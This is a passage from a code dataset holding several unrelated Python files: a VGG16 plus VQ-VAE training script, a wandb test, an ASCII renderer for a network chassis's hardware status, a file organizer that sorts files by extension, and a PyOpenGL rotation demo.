x_recon = self._decoder(quantized)\n \n return loss, x_recon, perplexity\n\n#%%\n### Stacked model (vgg+compression)\n\nclass myModel(nn.Module):\n def __init__(self, insertion_layer, num_hiddens, num_residual_layers, num_residual_hiddens, num_embeddings, embedding_dim, commitment_cost, decay):\n super(myModel,self).__init__()\n vgg_model = models.vgg16(pretrained=True)\t\t\n vgg_list = list(vgg_model.features.children())\n self.final_list = []\n for i, layer in enumerate(vgg_list):\n for param in layer.parameters():\n param.requires_grad = False\n if i == insertion_layer:\n input_encoder_channels = vgg_list[i-1].out_channels \n vqvae = compression_model(input_encoder_channels, num_hiddens, num_residual_layers, num_residual_hiddens, num_embeddings, embedding_dim, commitment_cost, decay)\n self.final_list.append(vqvae)\n self.is_compression = len(self.final_list) - 1\n self.final_list.append(layer)\n self.features = nn.Sequential(*self.final_list)\n self.codebook = vqvae._vq_vae._embedding.weight\n \n self.classifier = nn.Sequential(\n nn.Dropout(),\n nn.Linear(512, 512),\n nn.ReLU(True),\n nn.Dropout(),\n nn.Linear(512, 512),\n nn.ReLU(True),\n nn.Linear(512, 10),\n )\n \t \n def forward(self,x):\n for i, layer in enumerate(self.features):\n if i == self.is_compression:\n data_before = x\n loss, x, perplexity = layer(x)\n data_recon = x\n else:\n x = layer(x)\n x = x.view(x.size(0), -1)\n return loss, self.classifier(x), perplexity, data_before, data_recon\n \n \n#%%\n### Training\nbatch_size = 128\n\nnum_hiddens = 256\nnum_residual_hiddens = 256\nnum_residual_layers = 2\n\ncommitment_cost = 0.25\n\ndecay = 0.99\n\n\ntraining_loader = DataLoader(training_data, \n batch_size=batch_size, \n shuffle=True,\n pin_memory=True)\n\nvalidation_loader = DataLoader(validation_data,\n batch_size=32,\n shuffle=True,\n pin_memory=True)\n\n\ndef main():\n \n model = myModel(args.insertion_place, num_hiddens, num_residual_layers, num_residual_hiddens,\n args.num_embeddings, args.embedding_dim, \n commitment_cost, decay).to(device)\n\n # optimizer = optim.SGD(model.parameters(), args.learning_rate, momentum = 0.9, weight_decay = 5e-4)\n optimizer = optim.Adam(model.parameters(), args.learning_rate)\n \n epochs_train_res_recon_error = []\n epochs_train_res_perplexity = []\n epochs_train_res_classif_loss = []\n epochs_train_res_vq_loss = []\n\n epochs_Acc1 = []\n epochs_Acc5 = []\n \n for epoch in range(args.epochs):\n \n ### adapt lr\n adjust_learning_rate(optimizer, epoch)\n \n \n ### Switch to train mode\n model.train()\n \n train_res_recon_error = []\n train_res_perplexity = []\n train_res_classif_loss = []\n train_res_vq_loss = []\n\n print('%d epoch' % (epoch+1))\n for i, (images, target) in enumerate(training_loader): #50000/256 ~ 200 steps \n images = images.to(device)\n target = target.to(device)\n \n optimizer.zero_grad()\n \n vq_loss, output, perplexity, data_before, data_recon = model(images)\n\n recon_error = F.mse_loss(data_recon, data_before) / data_variance\n loss = recon_error + vq_loss\n \n # print(output.shape, target.shape)\n classif_loss = nn.CrossEntropyLoss()(output, target)\n loss += args.weight*classif_loss\n \n loss.backward()\n \n optimizer.step()\n \n train_res_recon_error.append(recon_error.item())\n train_res_perplexity.append(perplexity.item())\n train_res_classif_loss.append(classif_loss.item())\n train_res_vq_loss.append(vq_loss.item())\n\n \n \n print('%d epoch' % (epoch+1))\n print('recon_error: %.3f' % np.mean(train_res_recon_error))\n print('perplexity: %.3f' % np.mean(train_res_perplexity))\n print('classif_loss: %.3f' % np.mean(train_res_classif_loss))\n print('vq_loss: %.3f' % np.mean(train_res_vq_loss))\n\n print()\n epochs_train_res_recon_error.append(np.mean(train_res_recon_error))\n epochs_train_res_perplexity.append(np.mean(train_res_perplexity))\n epochs_train_res_classif_loss.append(np.mean(train_res_classif_loss))\n epochs_train_res_vq_loss.append(np.mean(train_res_vq_loss))\n\n ### Evaluate on validation set\n model.eval()\n Acc1 = []\n Acc5 = []\n with torch.no_grad():\n for i, (images, target) in enumerate(validation_loader): #10000/256 ~ 40 steps\n images = images.to(device)\n target = target.to(device)\n # compute output\n vq_loss, output, perplexity, data_before, data_recon = model(images)\n \n # measure accuracy and record loss\n acc1, acc5 = accuracy(output, target, topk=(1, 5))\n Acc1.append(acc1.cpu().numpy())\n Acc5.append(acc5.cpu().numpy())\n \n\n print('accuracy_top_1: %.3f' % np.mean(Acc1))\n print('accuracy_top_5: %.3f' % np.mean(Acc5))\n epochs_Acc1.append(np.mean(Acc1))\n epochs_Acc5.append(np.mean(Acc5))\n\n\n with open(\"pretrained_train_res_recon_error\"+\"_\"+str(args.epochs)+\"_\"+str(args.insertion_place)+\"_\"+str(args.embedding_dim)+\"_\"+str(args.num_embeddings)+\"_\"+str(args.weight)+\"_\"+str(args.learning_rate)+\".txt\", \"wb\") as fp: #Pickling\n pickle.dump(epochs_train_res_recon_error, fp)\n with open(\"pretrained_train_res_perplexity\"+\"_\"+str(args.epochs)+\"_\"+str(args.insertion_place)+\"_\"+str(args.embedding_dim)+\"_\"+str(args.num_embeddings)+\"_\"+str(args.weight)+\"_\"+str(args.learning_rate)+\".txt\", \"wb\") as fp: #Pickling\n pickle.dump(epochs_train_res_perplexity, fp)\n with open(\"pretrained_train_res_classif_loss\"+\"_\"+str(args.epochs)+\"_\"+str(args.insertion_place)+\"_\"+str(args.embedding_dim)+\"_\"+str(args.num_embeddings)+\"_\"+str(args.weight)+\"_\"+str(args.learning_rate)+\".txt\", \"wb\") as fp: #Pickling\n pickle.dump(epochs_train_res_classif_loss, fp)\n with open(\"pretrained_train_res_vq_loss\"+\"_\"+str(args.epochs)+\"_\"+str(args.insertion_place)+\"_\"+str(args.embedding_dim)+\"_\"+str(args.num_embeddings)+\"_\"+str(args.weight)+\"_\"+str(args.learning_rate)+\".txt\", \"wb\") as fp: #Pickling\n pickle.dump(epochs_train_res_vq_loss, fp)\n with open(\"pretrained_Acc1\"+\"_\"+str(args.epochs)+\"_\"+str(args.insertion_place)+\"_\"+str(args.embedding_dim)+\"_\"+str(args.num_embeddings)+\"_\"+str(args.weight)+\"_\"+str(args.learning_rate)+\".txt\", \"wb\") as fp: #Pickling\n pickle.dump(epochs_Acc1, fp)\n with open(\"pretrained_Acc5\"+\"_\"+str(args.epochs)+\"_\"+str(args.insertion_place)+\"_\"+str(args.embedding_dim)+\"_\"+str(args.num_embeddings)+\"_\"+str(args.weight)+\"_\"+str(args.learning_rate)+\".txt\", \"wb\") as fp: #Pickling\n pickle.dump(epochs_Acc5, fp)\n \n#%%\n### Adapt the learning rate through iterations\ndef adjust_learning_rate(optimizer, epoch):\n \"\"\"Sets the learning rate to the initial LR decayed by 2 every 30 epochs\"\"\"\n lr = args.learning_rate * (0.5 ** (epoch // 30))\n for param_group in optimizer.param_groups:\n param_group['lr'] = lr\n#%%\n### Compute accuracy\ndef accuracy(output, target, topk=(1,)):\n \"\"\"Computes the accuracy over the k top predictions for the specified values of k\"\"\"\n with torch.no_grad():\n maxk = max(topk)\n batch_size = target.size(0)\n\n _, pred = output.topk(maxk, 1, True, True)\n pred = pred.t()\n correct = pred.eq(target.view(1, -1).expand_as(pred))\n\n res = []\n for k in topk:\n correct_k = correct[:k].reshape(-1).float().sum(0, keepdim=True)\n res.append(correct_k.mul_(100.0 / batch_size))\n return res\n#%%\nif __name__ == '__main__':\n main()","sub_path":"pretrained_vgg_compression.py","file_name":"pretrained_vgg_compression.py","file_ext":"py","file_size_in_byte":18725,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"71926727","text":"import tensorflow as tf\nimport wandb\n\ndefault_config = {\n 'learning_rate' : 0.01\n}\n\nwandb.init(config = default_config)\nlearning_rate = wandb.config.learning_rate\n\nmsg = tf.constant(\"hello Tensor Flow!\")\n\nsess = tf.Session(config=tf.ConfigProto(log_device_placement=True))\nsess.run(tf.global_variables_initializer())\nv1 = tf.constant([1, 3, 3, 4])\nv2 = tf.constant([4, 3, 2, 1])\nret = tf.add(v1, v2)\n\nprint(sess.run(ret))\n\nwandb.log({'c':ret})\n#wandb.tensorflow.log(tf.summary.merge_all())\n","sub_path":"test/test_wandb.py","file_name":"test_wandb.py","file_ext":"py","file_size_in_byte":493,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"525391243","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n#coding=utf-8\n\"\"\"\ncolor_map = [\n (line_content,[(x1, x2, color), (x3, x4, color)])\n ]\n\n\ntest_text_list = ['slot1','slot2','slot3','slot4','slot5','slot6','slot7','slot8','slot9','slot10']\ntest_color_list = ['green','green','green','green','green','green','green','green','green','green']\n\n\noutput = []\nfor i in out:\n output.append(i[0])\n\n\"\"\"\n############################################################################################### import modules\nfrom __future__ import print_function\nfrom Tools import *\nimport os\n\n\n\n############################################################################################### share functions\n#basic functions\n\n\ndef draw_basic_edge_horizontal_line(width):\n \"\"\"\n '+------------+'\n :return:\n \"\"\"\n return '+' + '-'*(width-2) + '+'\n\n\ndef draw_basic_edge_horizontal_line_split(width, counter):\n \"\"\"\n '+----+----+----+----+'\n :param width:\n :param counter:\n :return:\n \"\"\"\n item_width = width / counter\n x_axle = [item_width * i for i in range(1, counter+1)]\n return_line = ''\n for x in range(width):\n if x == 0 or x in x_axle:\n return_line += '+'\n else:\n return_line += '-'\n return return_line\n\n\ndef draw_basic_empty_line(width):\n \"\"\"\n '| |'\n :param width:\n :return:\n \"\"\"\n return '|' + ' '*(width-2) + '|'\n\n\ndef draw_basic_empty_line_split(width, counter):\n \"\"\"\n '| | | |'\n :param width:\n :param counter:\n :return:\n \"\"\"\n item_width = width / counter\n x_axle = [item_width * i for i in range(1, counter+1)]\n return_line = ''\n for x in range(width):\n if x == 0 or x in x_axle:\n return_line += '|'\n else:\n return_line += ' '\n return return_line\n\n\ndef draw_basic_horizontal_text(width, text):\n \"\"\"\n '| xxxx |'\n :param width:\n :param text:\n :param color:\n :return:\n \"\"\"\n return '|' + text.center(width-2) + '|'\n\n\ndef draw_basic_horizontal_text_split(width, counter, text_list):\n \"\"\"\n '| xx | xx | xx |'\n :param width:\n :param counter:\n :param text:\n :return:\n \"\"\"\n item_width = width / counter\n return_line = '|'\n for item in range(counter):\n return_line = return_line + text_list[item].center(item_width-1) + '|'\n return return_line\n\n\n#adv functions\n\ndef draw_horizontal_text(width, text, color=''):\n return [(draw_basic_horizontal_text(width, text), [(1, -2, color)])]\n\n\ndef draw_edge_horizontal_line(width, color=''):\n return [(draw_basic_edge_horizontal_line(width), [])]\n\n\ndef draw_rectangle(width, height, text='', color='', up=True, down=True):\n \"\"\"\n\n :param length:\n :param width:\n :param text:\n :return: return_list is part of color_map\n \"\"\"\n middle_height = int(height/2)\n return_list = []\n for y in range(height):\n if y == 0 and up:\n return_list.append((draw_basic_edge_horizontal_line(width), []))\n elif y == height-1 and down:\n return_list.append((draw_basic_edge_horizontal_line(width), []))\n elif y == middle_height and text:\n return_list.append((draw_basic_horizontal_text(width, text), [(1, width-2, color)]))\n else:\n return_list.append((draw_basic_empty_line(width), []))\n return return_list\n\n\ndef draw_multiple_rectangle_horizontal_text(width, height, counter, text_list, color_list=[], up=True, down=True):\n \"\"\"\n\n :param width:\n :param height:\n :param counter: how many slots\n :param text_list:\n :param color_list:\n :param up:\n :param down:\n :return:\n \"\"\"\n item_width = width / counter\n middle_height = int(height / 2)\n return_list = []\n for y in range(height):\n if y == 0 and up:\n return_list.append((draw_basic_edge_horizontal_line_split(width, counter), []))\n elif y == height-1 and down:\n return_list.append((draw_basic_edge_horizontal_line_split(width, counter), []))\n elif y == middle_height and text_list:\n #note return_list = [ ( line_content, [(x1, x2, color), (x3, x4, color)] ), ]\n #line_content can use function draw_basic_horizontal_text_split\n #color list: x1 = item *i + 1, x2 = item * (i+1) - 1, as color_list has same length.\n return_list.append((draw_basic_horizontal_text_split(width, counter, text_list), [(item_width * i + 1, item_width * (i+1) - 1, color_list[i]) for i in range(counter)]))\n else:\n return_list.append((draw_basic_empty_line_split(width, counter), []))\n return return_list\n\n\ndef draw_multiple_rectangle_vertical_text(width, height, counter, text_list, color_list, up=True, down=True):\n \"\"\"\n\n :param width:\n :param height:\n :param counter: how many slots\n :param text_list:\n :param color_list:\n :param up:\n :param down:\n :return:\n \"\"\"\n item_width = width / counter\n return_list = []\n y_counter = len(max(text_list))+1\n y_sub_height = height / y_counter\n y_axle = [y_sub_height * i+1 for i in range(y_counter)]\n for y in range(height):\n if y == 0 and up:\n return_list.append((draw_basic_edge_horizontal_line_split(width, counter), []))\n elif y == height - 1 and down:\n return_list.append((draw_basic_edge_horizontal_line_split(width, counter), []))\n elif y in y_axle:\n return_line = '|'\n for text in text_list:\n if len(text) >= y_axle.index(y) + 1:\n return_line = return_line + text[y_axle.index(y)].center(item_width-1) + '|'\n else:\n return_line = return_line + ' ' * (item_width - 1) + '|'\n return_list.append((return_line, [(item_width*i+1, item_width*(i+1)-1, color_list[i]) for i in range(counter)]))\n else:\n return_list.append((draw_basic_empty_line_split(width, counter), []))\n return return_list\n\n\n###############################################################################################\n# C7010 CLASS:\n\n\nclass ChassisC7010(object):\n\n def __init__(self, apollo_instance):\n \"\"\"\n self.color_map: {'front':{(x,y):'green'}, 'back':{(x,y):'green'}, 'info':{(x,y):'green'}}\n note: 'x'/'y' also could be keyword string which could be highlight in color.\n self.draw: {'front':['xxx','xxx','xxx'], 'back':['xxx','xxx','xxx'], 'info':['xxx','xxx','xxx']}\n :param collection:\n :param problem:\n :return:\n \"\"\"\n self.apollo_instance = apollo_instance\n self.collection = self.apollo_instance.collection\n self.problem = self.apollo_instance.problem\n self.line_end = os.linesep\n self.slot_number_color = [['slot1', 'green'], ['slot2', 'green'], ['slot3', 'green'], ['slot4', 'green'],\n ['slot5', 'green'], ['slot6', 'green'], ['slot7', 'green'], ['slot8', 'green'],\n ['slot9', 'green'], ['slot10', 'green']]\n self.color_map = {}\n self.draw = {}\n\n def draw_front(self):\n \"\"\"\n\n :return:\n \"\"\"\n self.draw['front'] = []\n self.color_map['front'] = {}\n for y in range(41):\n if y == 0 or y == 10 or y == 30 or y == 40:\n self.draw['front'].append('+' + '-' * 39 + '+')\n elif y == 6:\n self.draw['front'].append('|' + self.collection['system']['hostname'].center(39) + '|')\n elif 10 < y < 30:\n self.draw['front'].append('')\n for x in range(41):\n if x % 4 == 0:\n self.draw['front'][y] += '|'\n elif x % 4 == 2 and y % 3 == 0:\n try:\n self.draw['front'][y] += self.slot_number_color[int((x - 2) / 4)][0][int((y - 12) / 3)]\n self.color_map['front'][(x, y)] = self.slot_number_color[int((x - 2) / 4)][1]\n except IndexError:\n self.draw['front'][y] += ' '\n else:\n self.draw['front'][y] += ' '\n elif y == 35:\n self.draw['front'].append(\n '|' + str('Air Filter:' + self.collection['hardware']['air_filter']).center(39) + '|')\n else:\n self.draw['front'].append('|' + ' ' * 39 + '|')\n\n def draw_info(self):\n \"\"\"\n draw middle info, like version, kernel uptime, last reset reason, module/xbar slot-num/PID/status\n :return:\n \"\"\"\n self.draw['info'] = []\n self.color_map['info'] = {}\n line_width = 80\n #draw system info\n self.draw['info'].append(\" \".ljust(line_width)) #1\n chassis_type = \"Chassis Type: %s\" % self.collection['hardware']['chassis']['pid']\n self.draw['info'].append(chassis_type.ljust(line_width))\n hostname = \"Hostname: %s\" % self.collection['system']['hostname']\n self.draw['info'].append(hostname.ljust(line_width))\n self.draw['info'].append(\" \".ljust(line_width))\n sw = \"Software Version: %s\" % self.collection['system']['version']['system']\n self.draw['info'].append(sw.ljust(line_width))\n bios_version = \"BIOS Version: %s\" % self.collection['system']['version']['bios']\n self.draw['info'].append(bios_version.ljust(line_width))\n self.draw['info'].append(\" \".ljust(line_width))\n last_reason = \"Last Reset Reason: %s\" % self.collection['system']['last_reset']['reason']\n self.draw['info'].append(last_reason.ljust(line_width))\n last_sw = \"Last Reset Version: %s\" % self.collection['system']['last_reset']['version']\n self.draw['info'].append(last_sw.ljust(line_width))\n kernel_uptime = \"Kernel Uptime: %s\" % self.collection['system']['kernel']['uptime']\n self.draw['info'].append(kernel_uptime.ljust(line_width))\n\n #draw module info:\n self.draw['info'].append(\" \".ljust(line_width))\n module_title = \"Module\".ljust(6) + ' ' + \"PID\".ljust(20) + ' ' + \"SN\".ljust(20) + ' ' + \"Status\".ljust(\n 10) + ' ' + \"Diagnostic\".ljust(10)\n self.draw['info'].append(module_title.ljust(line_width))\n double_split_line = \"=\" * 70\n self.draw['info'].append(double_split_line.ljust(line_width))\n slot_number_list = self.collection['hardware']['module'].keys()\n slot_number_list.sort()\n assert isinstance(slot_number_list, list)\n for slot in slot_number_list:\n line = slot.ljust(6) + ' ' + self.collection['hardware']['module'][slot]['pid'].ljust(20) + ' ' \\\n + self.collection['hardware']['module'][slot]['sn'].ljust(20) + ' ' \\\n + self.collection['hardware']['module'][slot]['status'].ljust(10) + ' ' \\\n + self.collection['hardware']['module'][slot]['diag']['status']\n self.draw['info'].append(line.ljust(line_width))\n self.draw['info'].append(\" \".ljust(line_width))\n\n #draw XBAR info:\n self.draw['info'].append(\" \".ljust(line_width))\n xbar_title = \"Xbar\".ljust(5) + ' ' + \"PID\".ljust(20) + \"Status\".ljust(10) + ' ' + \"SN\".ljust(20)\n self.draw['info'].append(xbar_title.ljust(line_width))\n double_split_line = \"=\" * 59\n self.draw['info'].append(double_split_line.ljust(line_width))\n xbar_slot_list = self.collection['hardware']['xbar'].keys()\n xbar_slot_list.sort()\n for slot in xbar_slot_list:\n line = slot.ljust(5) + ' ' + self.collection['hardware']['xbar'][slot]['pid'].ljust(20) +\\\n self.collection['hardware']['xbar'][slot]['status'].ljust(10) + \\\n ' ' + self.collection['hardware']['xbar'][slot]['sn'].ljust(20)\n self.draw['info'].append(line.ljust(line_width))\n self.draw['info'].append(\" \".ljust(line_width))\n\n #draw power/fan info:\n self.draw['info'].append(\" \".ljust(line_width))\n power_fan_title = \"Power/Fan\".ljust(10) + ' ' + \"PID\".ljust(20) + ' ' + \"Status\".ljust(10) + ' ' + \"SN\".ljust(20)\n self.draw['info'].append(power_fan_title.ljust(line_width))\n double_split_line = \"=\" * 63\n self.draw['info'].append(double_split_line.ljust(line_width))\n power_list = self.collection['hardware']['power'].keys()\n power_list.sort()\n fan_list = self.collection['hardware']['fan'].keys()\n fan_list.sort()\n #power\n for slot in power_list:\n line = slot.ljust(10) + ' ' + self.collection['hardware']['power'][slot]['pid'].ljust(20) + ' ' +\\\n self.collection['hardware']['power'][slot]['status'].ljust(10) + ' ' +\\\n self.collection['hardware']['power'][slot]['sn']\n self.draw['info'].append(line.ljust(line_width))\n #fan\n for slot in fan_list:\n line = slot.ljust(10) + ' ' + self.collection['hardware']['fan'][slot]['pid'].ljust(20) + ' ' +\\\n self.collection['hardware']['fan'][slot]['status'].ljust(10) + ' ' +\\\n self.collection['hardware']['fan'][slot]['sn']\n self.draw['info'].append(line.ljust(line_width))\n #padding left lines\n padding = 41 - len(self.draw['info'])\n if padding > 0:\n for i in range(padding):\n self.draw['info'].append(\" \".ljust(line_width))\n\n def draw_back(self):\n \"\"\"\n\n :return:\n \"\"\"\n self.draw['back'] = []\n self.color_map['back'] = {}\n for y in range(41):\n #split line\n if y in [0, 6, 22, 40]:\n self.draw['back'].append('+' + '-' * 39 + '+')\n #system fan\n elif y == 7:\n for slot in ['1', '2']:\n if slot in self.collection['hardware']['fan'] and 'FAN-S' in \\\n self.collection['hardware']['fan'][slot]['pid']:\n fan_name = self.collection['hardware']['fan'][slot]['pid']\n else:\n fan_name = 'ABSENT'\n self.draw['back'].append('|' + ' ' * 39 + '|')\n self.draw['back'].append('|' + fan_name.center(39) + '|')\n self.draw['back'].append('|' + ' ' * 39 + '|')\n self.draw['back'].append('+' + '-' * 39 + '+')\n if slot in self.problem['hardware']['fan']:\n self.color_map['back'][(fan_name, y)] = 'red'\n else:\n self.color_map['back'][(fan_name, y)] = 'green'\n elif y in range(8, 15):\n pass\n # fabric fan\n elif y == 18:\n self.draw['back'].append('|')\n for slot in ['3', '4']:\n if slot in self.collection['hardware']['fan'] and 'FAN-F' in \\\n self.collection['hardware']['fan'][slot]['pid']:\n fan_name = self.collection['hardware']['fan'][slot]['pid']\n else:\n fan_name = 'ABSENT'\n self.draw['back'][y] += fan_name.center(19)\n if slot in self.problem['hardware']['fan']:\n self.color_map['back'][(fan_name, y)] = 'red'\n else:\n self.color_map['back'][(fan_name, y)] = 'green'\n self.draw['back'][y] += '|'\n #fabric fan split line\n elif y in range(15, 22):\n self.draw['back'].append('|' + ' ' * 19 + '|' + ' ' * 19 + '|')\n #xbar\n elif y == 23:\n for slot in ['1', '2', '3', '4', '5']:\n if slot in self.collection['hardware']['xbar']:\n xbar_name = self.collection['hardware']['xbar'][slot]['pid']\n else:\n xbar_name = 'ABSENT'\n self.draw['back'].append('|' + xbar_name.center(39) + '|')\n self.draw['back'].append('+' + '-' * 39 + '+')\n if slot in self.problem['hardware']['xbar']:\n self.color_map['back'][(xbar_name, y)] = 'red'\n else:\n self.color_map['back'][(xbar_name, y)] = 'green'\n elif y in range(24, 33):\n pass\n #power\n elif y == 36:\n self.draw['back'].append('| ')\n for slot in ['1', '2', '3']:\n if slot in self.collection['hardware']['power']:\n power_name = self.collection['hardware']['power'][slot]['pid']\n else:\n power_name = 'ABSENT'\n self.draw['back'][y] += power_name.center(12)\n if slot in self.problem['hardware']['fan']:\n self.color_map['back'][(fan_name, y)] = 'red'\n else:\n self.color_map['back'][(fan_name, y)] = 'green'\n self.draw['back'][y] += '|'\n # power split line\n elif y in range(33, 40):\n self.draw['back'].append('|' + ' ' * 13 + '|' + ' ' * 12 + '|' + ' ' * 12 + '|')\n #blank line\n else:\n self.draw['back'].append('|' + ' ' * 39 + '|')\n\n def draw_together(self):\n self.draw_front()\n self.draw_back()\n self.draw_info()\n for i in range(41):\n print(self.draw['front'][i] + ' ' + self.draw['back'][i] + ' ' + self.draw['info'][i])\n\n\nclass NexusC7010(object):\n\n def __init__(self, apollo_instance):\n \"\"\"\n\n :param apollo_instance:\n :return:\n \"\"\"\n self.apollo_instance = apollo_instance\n self.collection = self.apollo_instance.collection\n self.problem = self.apollo_instance.problem\n self.line_end = os.linesep\n self.canvas = defaultdict(list)\n\n def draw_front(self):\n \"\"\"\n\n :return:\n \"\"\"\n #part 1:\n self.canvas['front'].extend(draw_rectangle(41, 10, self.collection['system']['hostname'], '', True, False))\n #part 2: module slot\n text_list_module = []\n color_list_module = []\n for i in range(1, 11):\n if str(i) not in self.collection['hardware']['module']:\n text_list_module.append(' ')\n else:\n text_list_module.append('slot' + str(i))\n for i in range(1, 11):\n if str(i) not in self.problem['hardware']['module']:\n color_list_module.append('green')\n else:\n color_list_module.append('red')\n self.canvas['front'].extend(draw_multiple_rectangle_vertical_text(41, 21, 10, text_list_module, color_list_module, True, True))\n #part 3: air filter\n if 'air_filter' in self.problem['hardware']:\n air_filter_color = 'red'\n else:\n air_filter_color = 'green'\n air_filter_text = 'Air Filter: ' + self.collection['hardware']['air_filter']\n self.canvas['front'].extend(draw_rectangle(41, 10, air_filter_text, air_filter_color, False, True))\n\n def draw_back(self):\n \"\"\"\n\n :return:\n \"\"\"\n #part 1:\n self.canvas['back'].extend(draw_rectangle(43, 6, '', '', True, False))\n #part 2:\n for i in ['1', '2']:\n if i in self.collection['hardware']['fan']:\n assert self.collection['hardware']['fan'][i]['pid'] == 'N7K-C7010-FAN-S'\n if i not in self.problem['hardware']['fan']:\n self.canvas['back'].extend(draw_rectangle(43, 4, 'N7K-C7010-FAN-S', 'green', True, False))\n else:\n self.canvas['back'].extend(draw_rectangle(43, 4, 'N7K-C7010-FAN-S', 'red', True, False))\n else:\n self.canvas['back'].extend(draw_rectangle(43, 4, 'ABSENT', 'red', True, False))\n #part 3:\n text_fabric_fan = []\n color_fabric_fan = []\n for i in ['3', '4']:\n if i in self.collection['hardware']['fan']:\n assert self.collection['hardware']['fan'][i]['pid'] == 'N7K-C7010-FAN-F'\n text_fabric_fan.append('N7K-C7010-FAN-F')\n if i not in self.problem['hardware']['fan']:\n color_fabric_fan.append('green')\n else:\n color_fabric_fan.append('red')\n else:\n text_fabric_fan.append('ABSENT')\n color_fabric_fan.append('red')\n self.canvas['back'].extend(draw_multiple_rectangle_horizontal_text(43, 8, 10, text_fabric_fan, color_fabric_fan, True, False))\n #part 4:\n for i in ['1', '2', '3', '4', '5']:\n if i in self.collection['hardware']['xbar']:\n if i in self.problem['hardware']['xbar']:\n self.canvas['back'].extend(draw_edge_horizontal_line(43, ''))\n self.canvas['back'].extend(draw_horizontal_text(43, self.collection['hardware']['xbar'][i]['pid'], 'red'))\n else:\n self.canvas['back'].extend(draw_edge_horizontal_line(43, ''))\n self.canvas['back'].extend(draw_horizontal_text(43, self.collection['hardware']['xbar'][i]['pid'], 'green'))\n else:\n self.canvas['back'].extend(draw_edge_horizontal_line(43, ''))\n self.canvas['back'].extend(draw_horizontal_text(43, 'ABSENT', 'red'))\n #part 5:\n text_power = []\n color_power = []\n for i in ['1', '2', '3']:\n if i in self.collection['hardware']['power']:\n text_power.append(self.collection['hardware']['power'][i]['pid'])\n if i not in self.problem['hardware']['power']:\n color_power.append('green')\n else:\n color_power.append('red')\n else:\n text_power.append('ABSENT')\n color_power.append('red')\n self.canvas['back'].extend(draw_multiple_rectangle_horizontal_text(43, 9, 3, text_power, color_power, True, True))\n\n def print_out(self):\n self.canvas = defaultdict(list)\n self.draw_front()\n self.draw_back()\n for i in range(41):\n print(self.canvas['front'][i][0] + ' ' + self.canvas['back'][i][0])\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"DaVinci.py","file_name":"DaVinci.py","file_ext":"py","file_size_in_byte":22496,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"577408205","text":"import os \nimport shutil\nimport sys\n\ndef directory(file_extension: str) -> str :\n if not file_extension:\n return\n\n folders_by_extension = {\n \"exe\": \"Software\",\n \"txt\": \"Texts\",\n \"pdf\": \"PDF Documents\",\n \"epub\": \"Books\",\n \"jpg\": \"Images\",\n \"jpeg\": \"Images\",\n \"png\": \"Images\",\n \"raw\": \"Images\",\n \"mp3\": \"Music\",\n \"mp4\": \"Videos\",\n \"mkv\": \"Videos\",\n \"xlsx\": \"Excel Files\",\n \"ppt\": \"Slides\",\n \"doc\": \"Documents\",\n \"rar\": \"Compressed Files\",\n \"zip\": \"Compressed Files\"\n }\n return folders_by_extension.get(file_extension, 'Extras')\n\ndef organize(path:str):\n if not os.path.exists(path):\n print(f\"ERROR. Not found {path} or not exixsts.\")\n return \n files = os.listdir(path)\n extensions = [os.path.splitext(file)[1].strip(\".\") for file in files]\n\n for ext in extensions:\n dir = directory(ext) or \"\"\n new_directory = os.path.join(path, dir)\n if dir and not os.path.exists(new_directory):\n os.makedirs(new_directory)\n\n for file in files:\n ext = os.path.splitext(file)[1].strip(\".\")\n _dir = directory(ext)\n if not _dir:\n continue\n\n source_filepath = os.path.join(path, file)\n destination_filepath = os.path.join(path, _dir, file)\n\n if not os.path.exists(destination_filepath):\n shutil.move(source_filepath, destination_filepath)\n print(f\"Se ha movido {file} en {_dir} directorio \\n\")\n print(f\"Todos los archivos se han organizado correctamente en {path}\")\n\nif __name__ == \"__main__\":\n try:\n directory_location = sys.argv[1]\n organize(directory_location)\n except Exception as e:\n print(f\"Hemos detectado un error: {str(e)}\")","sub_path":"organize.py","file_name":"organize.py","file_ext":"py","file_size_in_byte":1818,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"31414013","text":"from OpenGL.GL import *\nfrom OpenGL.GLUT import *\nfrom OpenGL.GLU import *\nimport numpy as np\n\nwindow = 0 # glut window number\n\n\ndef init():\n glClearColor(0.0, 0.0, 0.0, 1.0) # Black and opaque\n\n\ndef draw():\n\n glBegin(GL_TRIANGLES) # 3 vertices do triangulo só o contorno\n glVertex2f(0.0, 0.0) # x, y\n glVertex2f(1.0, 0.0)\n glVertex2f(0.5, 1.0)\n\n glEnd()\n\n\ndef drawCoord():\n\n glColor3f(1.0, 0.0, 0.0)\n\n glBegin(GL_LINE_STRIP)\n glVertex2f(1.0, 0.0)\n glVertex2f(-1.0, 0.0)\n\n glEnd()\n\n glColor3f(0.0, 1.0, 0.0)\n\n glBegin(GL_LINE_STRIP)\n glVertex2f(0.0, 1.0)\n glVertex2f(0.0, -1.0)\n\n glEnd()\n\n\ndef display():\n\n # Draw a Red 1x1 Square centered at origin\n\n glClear(GL_COLOR_BUFFER_BIT) # clear the screen\n glMatrixMode(GL_MODELVIEW)\n glLoadIdentity()\n\n drawCoord()\n glColor3f(0.5, 0.0, 1.0)\n draw()\n\n glColor3f(0.0, 0.0, 1.0)\n glTranslatef(0.5, 0.5, 0.0)\n #draw()\n #drawCoord()\n\n glColor3f(0.0, 0.5, 1.0)\n glRotatef(90, 0.0, 0.0, 1.0)\n #draw()\n\n glColor3f(0.5, 0.5, 0.5)\n glTranslatef(-0.5, -0.5, 0.0)\n draw()\n\n glFlush()\n\n\n# initialization\nglutInit() # initialize glut\n\nglutInitDisplayMode(GLUT_RGBA)\nglutInitWindowSize(720, 720) # set window size\nglutInitWindowPosition(50, 50) # set window position\nwindow = glutCreateWindow(b'Rotation') # create window with title\n\nglutDisplayFunc(display) # set draw function callback\nglutIdleFunc(display) # draw all the time\n\ninit()\nglutMainLoop()\n","sub_path":"rotate_pyopengl.py","file_name":"rotate_pyopengl.py","file_ext":"py","file_size_in_byte":1498,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"438048220","text":"from isis.group_box import Group_Box\nfrom isis.label import Label\nfrom isis.push_button import Push_Button\nfrom isis.grid_layout import 